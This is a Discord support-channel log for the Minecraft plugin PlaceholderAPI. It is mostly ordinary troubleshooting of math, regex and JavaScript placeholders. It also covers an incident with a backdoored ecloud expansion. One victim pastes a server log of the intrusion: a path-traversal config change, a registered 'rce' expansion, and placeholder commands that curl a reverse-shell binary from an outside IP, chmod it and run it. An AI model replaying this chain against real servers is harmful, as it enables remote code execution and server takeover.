#placeholder-api

1 messages · Page 31 of 1

bronze shell
#

if you stop shielding at 7sec, wait a bit, and start shielding again, you don't start from 0sec but you instead continue where you were, so at 7sec

#

If you wait enough time, the shield duration gauge goes down by itself, so you regain progressively your 10sec max

#

So tl;dr : it's working exactly like zelda botw/totk stamina bar, or elden ring buff/debuff bar

#

now, i have an HUD with two listener, one being the max duration and one being the current duration spent

#

i wanted to make the hud turn red once the current duration reach the same value as the max duration, so far easy peasy

#

but because even after reaching max stacks you can still regain your duration, the gauge goes down while you're out of shield, and because of that the hud is not red anymore

#

dunno if im clear

#

so yeah basically i wanted to be sure the hud stays red when shield is in cooldown because max duration was reached

#

knowing that the cooldown of the shield can depend from one shield to another

#

if you have any idea, lmk! i might have another idea that has nothing to do with placeholders, so ill see that myself in the meantime

bleak trail
#

Hello, is placeholderapi work for bungeecord ?

#

I mean, can i put papi.jar on my bungeecord plugins ?

#

(Waterfall)

vivid sparrow
#

no

balmy marten
#

We have already taken measures to prevent this.

#

And we are continuing to monitor

sullen latch
#

Can you please explain what are the measures

sharp bloom
balmy marten
#

The affected expansion(s)/versions have been purged from our servers and cache.

stuck dirge
#

is there a way to make the prefixes client side

#

what i mean is

#

not to make a place holder

#

per player

timid fox
#

There is no way dude

mint fable
#

What in the world is 1.0.6 doing on the ecloud?

#

to me it looks like you purposefully tried to implement a back door.

After having originally told you that retrieving and setting config values should NOT be done with something via an expansion, you went ahead and pushed a fake 1.0.5 version, then 1.0.6 version with the "backdoor", then pushed 1.0.7 to clean it up

#

Any reason we should keep your account and expansion on the ecloud?

mint fable
junior musk
#

I get what you want, but at that point you need a plugin, not a placeholder😅

junior musk
#

I knew from the first time they asked Gaby to verify the expending with their other account (if it's not the same account, but the msgs were deleted) that they had something sketchy planned with that config placeholder

sharp jay
#

So messages were deleted time to find them 🙂

mint fable
#

because i saw 2 commits on the github, but 3 updates

#

smh

#

🤦‍♂️

sharp jay
#

seems like it was another account logs aint showing up

junior musk
#

I assumed it was someone else because they talked about the original owner abandoning the plugin/expansion or smth and thought they'd been banned (explaining the deleted msgs) but kept my suspicions because they still had that config placeholder, though the github account didn't seem to be the same

muted gulch
#

When I went to the github they linked earlier it said the latest updates were by Osama Bin Laden.

#

I know that doesn't help

#

just thought it was interesting 🙂

mint fable
#

lol i just said the same thing

#

it's all so weird @muted gulch

#

because those commits aren't even the issue

muted gulch
#

I kinda got bad vibes from'em tbh

dapper mauve
#

Lmao

#

Honestly so funny i pwn papi for like 5th time

#

Idk why yall so mad about it when it only works when people cant setup permissions correctly

sharp jay
#

Bye!

muted gulch
#

What a clown…

sullen latch
tender vaporBOT
sullen latch
#

Please go in my DMs so i Can share you valid information

#

About the patching

balmy marten
sullen latch
balmy marten
#

@tender vapor

sullen latch
#

Why the fuck should i send fcking exploits to a bot

#

Do you want me to talk to my coffee machine ?

balmy marten
#

It gets passed to all the admins confidentially

sullen latch
#

Oh ok

junior musk
#

bruh

rare magnet
#

¯_(ツ)_/¯

sharp bloom
tranquil sapphire
#

Anyone got any idea why this isn't returning anything? %math_{statistic_player_kills}/{statistic_deaths}%

tranquil sapphire
#

Why?

#

...

sharp jay
sharp jay
#

and I told you to check

#

what does it show when you try to parse

sharp bloom
sharp bloom
#

cause with 0 deaths for example

#

u can't devide anything by 0

#

and if kills is 0 and deaths r 10 it will still return 0

#

so if u have both the expansions installed and the placeholder doesn't work it's probably cause of that OKK

mint fable
#

%math_0:_{statistic_player_kills}/MAX(1, {statistic_deaths})%
this would fix that this

sharp bloom
mint fable
#

love that energy

tender vaporBOT
# junior musk uh
Hey!

Please respect the rules, be patient and don't ping staff members!

junior musk
#

you mean MAX(1,...) right?

#

can't exactly divide by 0 xD

mint fable
#

bro i was

#

i was sober when i did that too

junior musk
#

😂😂😂

mint fable
#

now im seeing straight

#

wtf

#

all fixed

#

my gosh

#

😂

tender vaporBOT
# tranquil sapphire Thx
Hey!

Please respect the rules, be patient and don't ping staff members!

sharp bloom
#

I don't think the glist is related to placeholderapi

austere hawk
#

hello @everyone who can help me with config hologram baltop

#

?????

#

plase i need fasat

#

fast

glass ermine
#

Can soemone help me set up the math expansion?

sharp bloom
#

boom it's all set up

stone thorn
#

if I add my own placeholder, let's say a objective map variable and show it constantly will it do the full check everytime or how does placeholderapi handle the data in placeholders?

#

like if I have it in a scoreboard that updates every second does it request the data every second? (I know it's the obvious answer probably, but just trying to understand :P)

vivid sparrow
#

add this option in papi's config in the server expansion section:

time:
  locale: es-ES```
Or whatever language code you want to use
modern cape
#

Whats the placeholder for /bal command for EssentialX, i want to show EssentialX's player balance to scoreboard of SuperLobby

eternal obsidian
#

player_balance?

#

actually wait

#

idk whats essential’s one but u can use vault

#

if u use that as eco provider

sharp bloom
#

%vault_eco_balance%

modern cape
#

But i want from EssentialX, is not it possible

sharp bloom
#

essx uses vault

eternal obsidian
#

lol

#

/bal command is based on vault

modern cape
#

I have EssentialX and vault both and i use /bal would it show the same balance as %vault_eco_balance%

#

?

eternal obsidian
#

Yeah

modern cape
#

Than ok, it is already being set-up

eternal obsidian
#

cool

#

you can also add _formatted to that

#

if u want

river osprey
#

Could someone help me make a cooldownbar for an item?
plz

muted gulch
#

Any placeholders that can show the coordinates of a player's last death location?

#

preferably individually.

#

Ex. %death_location_x%

junior musk
#

I don't think there currently is

muted gulch
#

😦

spare pewter
junior musk
junior musk
muted gulch
junior musk
#

not yet

#

I'll upload it if you want

muted gulch
#

well I mean thats always a good idea to me

#

but thats up to you

#

just let me know cus Ill manually add it in, if you arent

junior musk
#

well I planned to do it anyways

#

that's why I changed the identifier from player to player-j17 😅

#

just need a mod to verify it

vivid sparrow
#

Tang, please, for the love of god, stop making random expansions and instead contribute to existing ones.

#

Nevertheless we appreciate your contributions panda_blush

junior musk
vivid sparrow
#

That's not what happened D:

junior musk
#

you didn't want my the changes I made

sharp bloom
#

Player expansion by tanguy when z_yuh

#

what is j17 supposed to mean?

junior musk
#

I can't code in Java less than 17 anymore xD

#

Java 17

sharp bloom
#

oh

#

i honestly like it tbh

vivid sparrow
junior musk
#

yeah I know

sharp bloom
#

i needed this %player-j17_time_since_last_played%

#

its similar to the /seen of essentials right?

junior musk
#

I understand the Lombok one (especially since it's just 3 stupid Getters) but I can't go back to Java 8 XD

#

I need the Enhanced Switches

junior musk
vivid sparrow
junior musk
#

can I at least get it verified ? 🙏

vivid sparrow
#

I will let the others decide, I dont like how we have up to 4 expansions that do the same thing and/or could be merged into one

junior musk
#

oki

#

maybe I'll rewrite the expansion entirely next

sharp bloom
junior musk
#

make a HashMap with each placeholder String,Function<String,String> for input arguments and result

#

xD

vivid sparrow
#

Yeah I've started with the vault expansion and I got the server one in progress for .. a while kek

sharp bloom
junior musk
#

well it's not verified anymore either way xD

sharp bloom
#

🤷🏻‍♂️

#

people still install it for some reason

floral belfry
junior musk
#

one of your JS placeholder is broken

floral belfry
# junior musk one of your JS placeholder is broken

okay, THAT I do know lol
This is the js:

var item = '%checkitem_getinfo:15_lorecontains:%';

function getCDR() {
    return item.replace(item, /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item));
}

getCDR();

it works in js compiler so 🤷‍♂️

junior musk
#

oh

#

strings need to be put within " "

#

and the starting and ending / aren't needed

#

idk what the .exec(item) is supposed to be though

#

you only need item.replace(item, "(?<=Cooldown Reduction: )\d*\.?\d*"); as far as I know

floral belfry
#

new js:

var item = "%checkitem_getinfo:15_lorecontains:%";

function getCDR() {
    return item.replace(item, (?<=Cooldown Reduction: )\d*\.?\d*);
}

getCDR();
junior musk
#

within " "

floral belfry
#

Oh!

junior musk
#

I'm also unsure what's up with your replace

floral belfry
#

placeholder doesn't error but it now only returns the (?<=Cooldown Reduction: )\d*\.?\d*

junior musk
#

you're replacing ìtem within item by the regex filter

#

I think you want item.replace("(?<=Cooldown Reduction: )\d*\.?\d*", "")

#

actually

#

I think that'll remove the cooldown and keep the Cooldown Reduction part

#

so that'd do the opposite xD

floral belfry
#

return item.replace(item, /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item))
replaces the whole string with the match

junior musk
#

well you could do item.substring(18)

#

assuming you don't have any colors in there

#

and actually, that could be done without Javascript since the String expansion has a substring placeholder

#

it's always better to avoid JS 😅

floral belfry
#

the thing is, I don't always know where the "Cooldown reduction" index will be no?

junior musk
#

%string_substring_18_{checkitem_getinfo:15_lorecontains:}%

#

ah

#

right

#

there can be multiple lines

floral belfry
#

hence getting the whole item lore and filtering via regex

junior musk
#

yeah

#

oh I just found out about that regex.exec thing

#

I didn't know that was a thing in JS lol

#

didn't use JS much tbf

#

though it doesn't seem to work in Nashorn

#

oh hey it works with QuickJS

#

go in your config.yml, search for expansions.javascript.use_quick_js and set it to true

floral belfry
junior musk
#

I got the same thing ;-;

floral belfry
junior musk
#

I got it

#

add +"" at the end

#

right before the ;

#

return /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item)+"";

floral belfry
#

also what does adding an empty string do

junior musk
#

I just wrote "Cooldown Reduction: 100s to test

#

and it returned 100

floral belfry
#

hm, try adding a color?

junior musk
#

/papi parse me .%checkitem_getinfo:15_lorecontains:%.

#

and now it doesn't work anymore, with and without color XD

floral belfry
junior musk
#

I hate JS ;-;

floral belfry
junior musk
#

wtf

#

it works ingame but not console

floral belfry
junior musk
#

colors and without

#

return /(?<=Cooldown Reduction: )\d*\.?\d*/.exec("&aCooldown Reduction: 100s")+"";

floral belfry
floral belfry
junior musk
floral belfry
#

uh, it puts an empty line in chat

junior musk
#

then I don't see any issue

#

xD

floral belfry
#

this is my js

var item = "%checkitem_getinfo:15_lorecontains:%";

function getCDR() {
    return /(?<=Cooldown Reduction: )\d*\.?\d*/.exec(item)+"";
}

getCDR();
junior musk
#

if the checkitem returns nothing

#

then it seems normal that the script returns nothing either xD

floral belfry
#

oh!

#

of the placeholder

junior musk
#

yeah

#

😅

floral belfry
#

nah it sends this:

Single Wield Duelist (Edged)|Tier: Common|Level: 1||⚔ Damage: 1.11 - 1.79|⌚ Cooldown Reduction: 1.5|↔ Range Modifier: 1
junior musk
#

o

floral belfry
junior musk
#

1.5 for me

floral belfry
junior musk
#

nope

#

just JS being JS

#

give me the /give cmd for your item

#

WAIT

#

idea

floral belfry
junior musk
#

is there color between Cooldown Reduction: and the number?

#

BRUH

#

I knew it 😂

urban marsh
#

Love barry

junior musk
#

Barry best bot

#

BBB

#

BuiltByBit?

#

Barry is in reality BuiltByBit ?

#

woaw, who would have thought

floral belfry
#
/(?<=Cooldown Reduction: )\&f\d*\.?\d*/

???

junior musk
#

is the color different for different items?

floral belfry
#

nope

junior musk
#

yeah that's what I was about to suggest lol

#

then all good

#

not sure if the \ is needed in front of the &

#

yes it is

#

nevermind no

#

though it has to be inside the ()

#

in the lookahead

#

otherwise it's returned with the number

#

/(?<=Cooldown Reduction: &f)\d*\.?\d*/

floral belfry
#

idk if regex would be finnicky with the blue coloring of "cooldown reduction" and the emoji

junior musk
#

doubt it would

#

let me launch my game once again XD

#

works for me

#

send your script again

#

actually

#

I think I know

#

use § instead of &

#

yup

#

works

#

CheckItem returns the colored string (with §), while JS checks it with &

#

it worked for me because I used & directly in the JS and it wasn't parsed xD

floral belfry
#

gonna lose my mind, thanks it finally worked

junior musk
#

👍

floral belfry
junior musk
#

though you might want to add a check for when it's null

#

maybe make it return 0 or smth

floral belfry
junior musk
#
  var output = /(?<=Cooldown Reduction: §f)\d*\.?\d*/.exec(item);
  return output == null ? "0" : output+"";
fluid meadow
#

[TownyChat] TownyChat tried to apply a chat format that is not allowed: '§8[§2G§8]§f %rel_unitedchat_ranks_{vault_rank}%&r%rel_unitedchat_prefixes_{vault_prefix}%&7{modplayername}&f:§f {msg}', because of the r symbol, found after a %. There is probably a PAPIPlaceholder that could not be parsed.

Hello! Getting this error whenever a player types in chat, it's blocking any rank groups, prefixes, and general chat changes (chat colours etc). Any idea on how to fix? Updated to latest version of PAPI (2.11.5)

junior musk
#

from what I understood, %rel_unitedchat_ranks_{vault_rank}% didn't parse correctly

#

make sure that placeholder is working

fluid meadow
#

How do I check

junior musk
#

/papi parserel <player1> <player2> <placeholder>

fluid meadow
#

It returned this:

[23:25:29 INFO]: [Member] ```
junior musk
#

then maybe TownyChat doesn't suppor relational placeholders?

fluid meadow
#

I will ask

junior musk
#

nah

fluid meadow
#

I'll see, thanks!

junior musk
#

I've just checked its code and indeed it does not support relational placeholders

#

only normal placeholders are parsed

ocean beacon
junior musk
#

I've never been more thankful to YouTube Ads ever

#

btw you spoiled it in the URL

ocean beacon
#

how many people clicked on it 😄

junior musk
#

idk

austere hawk
#

Hello there i saw the recent announcement i am the one of the server owmer who got affect due to it

#

But its not like how you think it was done

#

My development server was online and it was whitelisted + restricted in bungee config

#

And i was the only one who joined the development server since it was created

#

So there is no chance of someone getting force op nor downloading papi expansion

#

Still my server got hacked please look into the issue with more details thanks

#

@balmy marten

tender vaporBOT
austere hawk
#

I have given my file acces to essentialx devs too if you require that please let me know

balmy marten
#

Feel free to provide some details/logs to @tender vapor which will send it to the Admins

junior musk
austere hawk
#

Admin

junior musk
#

then idk

tender vaporBOT
# austere hawk Sure
Hey!

Please respect the rules, be patient and don't ping staff members!

austere hawk
#

Can i get your email maybe

#

I got it backup in my server files

carmine veldt
#

@austere hawk pm me

austere hawk
#

I am out

#

Rn i will do as i get home

carmine veldt
#

okie

vital plume
#

Hello....

#

What to do!?

#

[Thu 17:54:23 INFO DiscordSRV] Player Numbist joined with silent joining permission, not sending a join message
[Thu 17:54:23 INFO Server] Numbist (formerly known as Mihion) joined the game
[Thu 17:54:23 INFO Server/PlayerList] Numbist[/127.0.0.1:56026] logged in with entity id 28836 at ([world]-100126.5, 59.506108337423456, -99733.5)
[Thu 17:54:30 INFO Server/PlayerConnection] Numbist issued server command: /lp export a
[Thu 17:54:30 INFO ] [LP] EXPORT > Gathering group data..

#

[Thu 17:54:30 INFO ] [LP] EXPORT > Gathering track data...
[Thu 17:54:30 INFO ] [LP] EXPORT > Gathering user data...
[Thu 17:54:30 INFO ] [LP] EXPORT > Finding a list of unique users to export.
[Thu 17:54:30 INFO ] [LP] EXPORT > Found 1694 unique users to export.
[Thu 17:54:30 INFO ] [LP] EXPORT > Finished gathering data, writing file...
[Thu 17:54:31 INFO ] [LP] Successfully exported to /home/dacian/srv/vanillamc/plugins/LuckPerms/a.json.gz.
[Thu 17:54:51 INFO Server/PlayerConnection] Numbist issued server command: /papi ecloud refresh
[Thu 17:54:51 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:54:54 INFO Server/PlayerConnection] Numbist issued server command: /papi ecloud download minepacks 1.0.1
[Thu 17:54:54 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:54:55 INFO Server/PlayerConnection] Numbist issued server command: /papi reload
[Thu 17:54:55 INFO PlaceholderAPI] Placeholder expansion registration initializing...
[Thu 17:54:55 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:54:55 INFO PlaceholderAPI] Successfully registered expansion: minepacks
[Thu 17:55:00 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %minepacks_set ./PlaceholderAPI/config cloud_allow_unverified_expansions true%
[Thu 17:55:03 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %minepacks_set ../PlaceholderAPI/config cloud_allow_unverified_expansions true%
[Thu 17:55:04 INFO Server/PlayerConnection] Numbist issued server command: /papi reload
[Thu 17:55:04 INFO PlaceholderAPI] Placeholder expansion registration initializing...
[Thu 17:55:04 INFO PlaceholderAPI] Fetching available expansion information...
[Thu 17:55:04 INFO PlaceholderAPI] Successfully registered expansion: minepacks
[Thu 17:55:07 INFO Server/PlayerConnection] Numbist issued server command: /papi ecloud download fetch

#

He somehow took over my user...

#

Have a look here: diff [Thu 17:55:07 INFO PlaceholderAPI] Fetching available expansion information... [Thu 17:55:11 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %fetch_ test 0 http://173.212.248.30:80/test% [Thu 17:55:15 INFO Server/PlayerConnection] Numbist issued server command: /papi reload [Thu 17:55:15 INFO PlaceholderAPI] Placeholder expansion registration initializing... [Thu 17:55:15 INFO PlaceholderAPI] Fetching available expansion information... [Thu 17:55:15 INFO PlaceholderAPI] Successfully registered expansion: fetch [Thu 17:55:15 INFO PlaceholderAPI] Successfully registered expansion: minepacks [Thu 17:55:15 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %fetch_ test 0 http://173.212.248.30:80/test% [Thu 17:55:18 INFO Server/PlayerConnection] Numbist issued server command: /papi register ../../../fetch/test [Thu 17:55:18 INFO PlaceholderAPI] Successfully registered expansion: rce [Thu 17:55:21 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_curl_http://173.212.248.30:80/rev.elf_-o_r% [Thu 17:55:24 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_chmod_+x_r% [Thu 17:55:26 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:00:42 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_whoami% [Thu 18:02:01 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:02:04 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:02:06 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:02:09 INFO Server/PlayerConnection] Numbist issued server command: /papi parse me %rce_./r% [Thu 18:03:25 INFO Server/PlayerConnection] Numbist lost connection: Disconnected

#

Is my server striped now?

balmy marten
#

There was a forceop somewhere on your server

#

We suggest a clean install to ensure the backdoor is gone

vital plume
#

fu...k 😄

sharp bloom
sharp jay
#

@arctic loom need me to verify it?

sharp bloom
#

i remember it being verified

sharp jay
#

Give me 2 mins

#

And I’ll verify

sharp jay
sharp bloom
arctic loom
tender vaporBOT
arctic loom
#

Shush Barry

sharp jay
#

it was unverified for some reason

arctic loom
#

Ok. Yesterday was it verified lol

sharp jay
arctic loom
#

Ye?
Need to check repo

sharp jay
#

well 18 hours ago you pushed an update

#

on ecloud it shows on the first of october you updated it

arctic loom
#

Well, I updated the description... didn't know that causes to be unverified.

arctic loom
#

Kinda weird.. Feel like only version updates should do that...

glass veldt
#

Hello I am getting this issue logging into my hub server:

junior musk
#

try this

glass veldt
#

@junior musk are you refering to me?

junior musk
#

yes

#

who else

glass veldt
#

lol sorry just making sure

junior musk
#

all good 😅

glass veldt
#

but this is being added to the proxy plugins correct? Just confirming

#

Not on the hub (back end server)

junior musk
#

nah it's an update for the Bungee expansion (in your plugins/PlaceholderAPI/expansions folder)

#

it should fix the error (the few people that actually reported back to me said it fixed it)

glass veldt
#

Ahh okay so it goes on the back end server or the hub. I'd assume this expansion also goes on any other added server? Like factions and SMP if they have PAPI as well?

junior musk
#

any server that uses the Bungee Expansion yeah

glass veldt
#

@junior musk worked thank you

stiff helm
#

Good afternoon, I have a simple question, how can I add a single variable to {role} so that they are displayed thanks to placeholderapi? I tried to add it and I couldn't achieve it, it takes the variable etc but when for example showing the variable next to the player's name it only appears like this {role}

muted gulch
rapid prawn
#

can someone let me know if i did this correct:
set {_orbs} to placeholder "orbs"
and:
send "%{_orbs}%"

plush dove
#

Is there placeholders in which I can store two times and find the difference between those times?

stone edge
#

i doubt it

muted gulch
plush dove
#

hmm

#

cj, any ideas?

plush dove
#

pog

#

javascript always comes in clutch 💪

#

so useful

#

except when it crashes your server cause you used it poorly

vital plume
#

:
[8:19 AM]
[Thu 17:54:22 WARN LuckPerms] LuckPerms already has data for player 'Numbist' - but this data is stored under a different UUID.
! [Thu 17:54:22 WARN LuckPerms] 'Numbist' has previously used the unique ids [2e5023a0-ea5f-3b4b-bd26-324211b64756] but is now connecting with '242416b7-70d4-4dba-92a4-3be8a446a138'
! [Thu 17:54:22 WARN LuckPerms] The UUID the player is connecting with now is Mojang-assigned (type 4). This implies that one of the other servers in your network is not authenticating correctly.
[8:19 AM]
...
[8:19 AM]

[8:22 AM]
2e5023a0-ea5f-3b4b-bd26-324211b64756 which was his is not registered in db. But some how when i Ban Numbis I ban me Mihion
[8:22 AM]
I cant find Nubis in my db

rapid prawn
#

can someone let me know if i did something wrong. I've made a customplaceholder file with custom placeholders, i've even got the skript-placeholder jar file but my placeholders still dont work :/.

placeholders:
orbs:
text: '{fishorbs::%player_uuid%}'
# Add any other properties or options you need

austere hawk
#
[13:39:14 WARN]:        at java.base/java.lang.Class.getField(Class.java:2117)
[13:39:14 WARN]:        at PlayerTime-1.0.7-RELEASE.jar//me.rayzr522.jsonmessage.JSONMessage$ReflectionHelper.<clinit>(JSONMessage.java:520)
[13:39:14 WARN]:        at PlayerTime-1.0.7-RELEASE.jar//me.rayzr522.jsonmessage.JSONMessage.send(JSONMessage.java:158)
[13:39:14 WARN]:        at PlayerTime-1.0.7-RELEASE.jar//me.glaremasters.playertime.events.Announcement.lambda$onJoin$0(Announcement.java:36)
[13:39:14 WARN]:        at org.bukkit.craftbukkit.v1_20_R1.scheduler.CraftTask.run(CraftTask.java:101)
[13:39:14 WARN]:        at org.bukkit.craftbukkit.v1_20_R1.scheduler.CraftAsyncTask.run(CraftAsyncTask.java:57)
[13:39:14 WARN]:        at com.destroystokyo.paper.ServerSchedulerReportingWrapper.run(ServerSchedulerReportingWrapper.java:22)
[13:39:14 WARN]:        at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
[13:39:14 WARN]:        at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
[13:39:14 WARN]:        at java.base/java.lang.Thread.run(Thread.java:833)
[13:39:14 WARN]: [PlayerTime] Plugin PlayerTime v1.0.7-RELEASE generated an exception while executing task 4067```
junior musk
#

that plugin doesn't seem to support newer MC versions

plucky cairn
#

Did you ever get this working?

#

Did you ever get this working?

#

Did you ever get this working?

#

Did you ever get this working?

#

Did you ever get this working?

stone edge
#

wtf

plucky cairn
#

Please dont be alarmed by my messages lol

#

I've been looking for a fix for the bungee palceholder bug for about a month now, and just asked everyone else that was looking for a fix if they had found one

#

Ik it looks spammy, my apologies

marsh helm
#

Hi
I got an small issue with javascript
it aint workin
I moved files between servers and js went brrr
1.20.2

[04:11:33] [Server thread/WARN]: [PlaceholderAPI] Cannot load expansion javascript due to an unknown issue.
[04:11:33] [Server thread/WARN]: [PlaceholderAPI] Failed to load external expansion player. Identifier is already in use.
[04:11:33] [Server thread/WARN]: [PlaceholderAPI] Cannot load expansion player due to an unknown issue.```

`/papi parse ghostx0013 %javascript_cooldown_Kit-Month_2592000%` just returns me same thing `%javascript_cooldown_Kit-Month_2592000%`
marsh helm
#

Issue was 2x seperate js extentions installed

austere hawk
#

Is it possible to use the statistic placeholder to display minutes if I haven't played for any hours, and if I have played for hours, to show only hours without minutes, and then show days or a similar format?

junior musk
#

%statistic_time_played%

austere hawk
junior musk
#

oh I get what you mean

#

you only want the largest unit?

austere hawk
#

yeah

junior musk
#

I'm not sure if there's a placeholder for that, it could be done with JS though

#

or with tons of ChangeOutput and Utils placeholders combined XD

#

let me try

austere hawk
#

alright

junior musk
#

oh right, you need to enable use_quick_js in PAPI's config otherwise it'll throw an error because the for (. of .) loop isn't supported by Nashorn

#

though you can just use a normal loop instead if you want to stay on Nashorn (you'll also need to use PlaceholderAPI.static.setPlaceholders instead)

junior musk
hard cosmos
#

I need some help with placeholderapi, I never had any problems with it this is my first time.

I got a couple placeholders in gui and installed the papi for them, and did /papi reload.

Most of them show up as board does not exist, or pos XBDNE.
This might be placeholder api or ajleaderboards but I am confused.

Any ideas how I can fix it.

tender vaporBOT
modern cape
#

When i use %player% is shows it is not online

radiant plaza
#

edprison expansion is loaded but placeholders not working ingame

#

I just realized that placeholders from other plugins are also not working

modern cape
radiant plaza
#

try %player_name%

modern cape
#

What about %player_name%?

radiant plaza
#

If you have player expansion installed

modern cape
#

Can you see I have sent you an image in dm

#

It worked before but now it is not working

river osprey
#

Could someone help me make a cooldownbar for an item?
plz

modern cape
#

Hey! %player_name% and something other are not working in DeluxeMenus, can anyone solve this? I already have installed player, here is the dump > https://paste.helpch.at/recirumoyu

west osprey
#

i need help

tender vaporBOT
#

There is no time to wait! Ask your question @west osprey!

warm plover
#

Hey, I'm using the placeholder extension and parsing %placeholder_parseother:Apparentlee_player_name% parses as my name, any idea why?

junior musk
#

the Placeholder expansion? thonking

#

Oh right, it was the name I gave to Utils before changing it

warm plover
#

Utils sorry

junior musk
#

ah

warm plover
#

yeah xD

junior musk
#

you need to put the name between []

#

that's required because otherwise I can't know when the name ends (because some names have _ in them)

warm plover
#

Ohh that makes sense

#

Yep, all working now, thanks a ton!

lethal talon
#

hiya

#

How do I find out what 3rd party plugin the culprit in the mentioned exploit in #announcements

#

We removed fetch and Minepacks

#

And other things left behind by the perpetrator

carmine veldt
#

Do you use azuriom?

sharp jay
#

Its not a plugin btw

#
Azuriom

Azuriom is a modern, reliable, fast and secure gaming CMS. It's the ideal choice for your website on Minecraft, Garry's Mod, Rust, Ark, FiveM and many others games.

lethal talon
#

azuriom? no?

#

definitely not, we manage our own servers

#

no CMS

carmine veldt
#

azuriom doesn't manage your server it's just a cms like tebex

lethal talon
#

yeah we don't

#

classic ssh

carmine veldt
#

or maybe it does do that too

#

oh

#

i'm stupid

#

it is exactly that

sharp jay
#

looool

carmine veldt
#

i forgot what cms means

errant iron
#

content management system

carmine veldt
#

yes

lethal talon
#

are there any other known points of entry?

carmine veldt
#

not that I know of

lethal talon
#

interesting

carmine veldt
#

in the cases that were reported to me personally

#

attackers used a vulnerability in azuriom to get op on the server

#

and then go from there

lethal talon
#

do you mind if I dm you, I'd rather not go into details in public

carmine veldt
#

sure

mighty elbow
balmy marten
#

Have you got an expansion created?

jagged snow
#

Did I something wrong? It doesn't work.
%math_{objective_score_{NDLV}}*2%

junior musk
jagged snow
#

%objective_score_{NDLV}% = 5
%math_{objective_score_{NDLV}}*2% = %math_{objective_score_{NDLV}}*2%

junior musk
#

/papi ecloud download Math
/papi reload

jagged snow
#

it's still %math_{objective_score_{NDLV}}*2%

mint fable
#

wonder if the {} is messing with it

junior musk
#

idk

mint fable
#

probably trying to read {objective_score_NDLV}

junior musk
#

try with math_0_...

#

ooh

#

I see what you mean

#

then I have a good solution lol

mint fable
#

you can do it without the {} @jagged snow

junior musk
#

I don't think you can

#

the expansion requires the {}

mint fable
#

i think %objective_score_NDLV%

#

it was updated

junior musk
#

oh alright

mint fable
#

but i can't quite remember exactly

#

the ecloud looks like it works

#

but the spigot page says otherwise

jagged snow
#

the wiki says with {}

mint fable
#

does it work without?

#

if you parse it

junior musk
#

Well try without the {} first, if it oesn't work then try this
/papi ecloud download Utils
/papi reload
/papi parse me %utils_parse_math_0_{objective_score_\{NDLV\}}%

mint fable
#

/papi parse me %objective_score_NDLV%

jagged snow
mint fable
#

ah

junior musk
#

then try with Utils

mint fable
#

big escape moment

jagged snow
junior musk
#

👀

#

o

mint fable
#

o

junior musk
#

then no need for Utils

mint fable
#

then you can just use that in math and should be good

junior musk
#

%math_0_{objective_score_NDLV}%

junior musk
jagged snow
mint fable
#

nice

junior musk
#

then all good

mint fable
#

maybe was confused with the math placeholder or smthn

jagged snow
#

so with '0' it works

mint fable
#

no no

#

the reason it wasn't working was the extra {}

#

because the math expansion was trying to read the placeholder as objective_score_{NDLV instead of objective_score_{NDLV}

#

it will work with and without the 0

jagged snow
#

okay this works: %math_0_{objective_score_{NDLV}*2%

mint fable
#

O.o

#

are you sure

jagged snow
#

yes im sure

junior musk
#

wait wtf

mint fable
#

there is an extra {

junior musk
#

it's missing a }

#

yeah

mint fable
#

lol

junior musk
#

either missing a } or there's an extra {

mint fable
#

glass half full half empty

jagged snow
#

ok this %math_0_{objective_score_NDLV}*2% and this %math_0_{objective_score_{NDLV}*2% are working

junior musk
#

okay

jagged snow
#

XD

junior musk
#

weird but okay lol

jagged snow
#

thanks for support ❤️

sharp bloom
#

bruh 2 opening { but only 1 closing? pepez_sunglasses

jagged snow
#

We are working with Ssomar's ExecutableEvents, and the correct placeholder with 2 { and 2 } does not work. However, the other version of the placeholder with 2 { and 1 } does. Please don't fix this bug 🙃
You know... never touch a running system xD

sharp bloom
#

i use it for the variables too

lament osprey
#

Hey can i do something like |||||||||| 0/10 |||||||||| with the progress expansion?

#

Because i didnt find anything like "starting value" argument

#

So the first progress would end on 5 and the second will start on 6

manic grail
#

Hi, do you know why this happens?neither the Vault neither theplayerstats let me put it: [19:53:05 WARN] [PlaceholderAPI]: Cannot load expansion vault due to a missing plugin: Vault

manic grail
#

forget about the vault, I already solved it xd, the other one is missing, I have no idea

cursive ermine
#

Will this placeholder %pinger_online_10.0.0.10:25561% work if the IP is different even through it is still on the same proxy? It only shows offline even though the server is online. I have this one which points to different server %pinger_online_10.1.20.3:25565% and it works fine. They are different IP's but same network.

mint fable
#

would i be able to push this to the ecloud after merging the pr?

#

or would you be able to recompile a jar if needed?

junior musk
#

sure

#

the jar has the changes from my PR so I don't think recompiling is necessary

oblique yoke
#

is there a way to replace the MODT with Placholders

junior musk
#

placeholders are here to be replaced by text, they aren't the ones that replace stuff

#

you'll need a MOTD plugin if you want to edit the MOTD

mint fable
#

if you ever fix anything else just lmk i got perms for stuff

junior musk
#

oki

mint fable
#

some things of course I'll let other people handle, but something small like that I feel comfortable just pulling it lol

warm plover
#

Do meta placeholders not work for offline players?

sharp bloom
#

they do

warm plover
#

Weird

sharp bloom
#

but the parse doesn't work for them

warm plover
#

Ahh

#

Hm, it's not seeming to work in my menu either

sharp bloom
#

like papi parse offlineuser placeholder

warm plover
#

%placeholder_parseother:[Keene]_deluxemenus_meta_profileOutlineColorA_STRING_FFFFFF% doesn't work in my menu

sharp bloom
#

try the parseother expansion

#

oh

warm plover
#
